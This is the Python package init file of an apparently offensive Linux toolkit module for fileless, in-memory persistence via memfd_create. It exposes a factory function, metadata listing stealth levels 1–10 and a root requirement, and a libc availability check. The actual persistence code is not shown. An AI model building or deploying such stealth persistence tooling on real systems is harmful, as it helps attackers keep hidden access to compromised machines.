#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
内存级无文件权限维持模块
"""

from .core import FilelessMemoryPersistenceModule
from ..base import PersistenceConfig, PersistenceResult, PersistenceStatus, PersistenceLevel

# 模块信息
__version__ = "1.0.0"
__author__ = "privilege-maDev Team"
__description__ = "内存级无文件权限维持模块"

def create_module():
    """创建内存级无文件权限维持模块实例"""
    return FilelessMemoryPersistenceModule()

def get_module_info():
    """获取模块信息"""
    return {
        'name': 'fileless_memory',
        'version': __version__,
        'author': __author__,
        'description': __description__,
        'supported_platforms': ['linux'],
        'persistence_types': ['memfd_create'],
        'stealth_levels': list(range(1, 11)),
        'requires_root': True,
        'requires_compilation': False,
        'dependencies': ['python3']
    }

def is_available():
    """检查模块是否可用"""
    import os
    import ctypes
    
    # 检查是否为 Linux 系统
    if os.name != 'posix':
        return False
    
    # 检查是否支持 memfd_create
    try:
        libc = ctypes.CDLL("libc.so.6")
        if hasattr(libc, 'memfd_create'):
            return True
    except:
        pass
    
    return False

__all__ = ['FilelessMemoryPersistenceModule', 'create_module', 'get_module_info', 'is_available']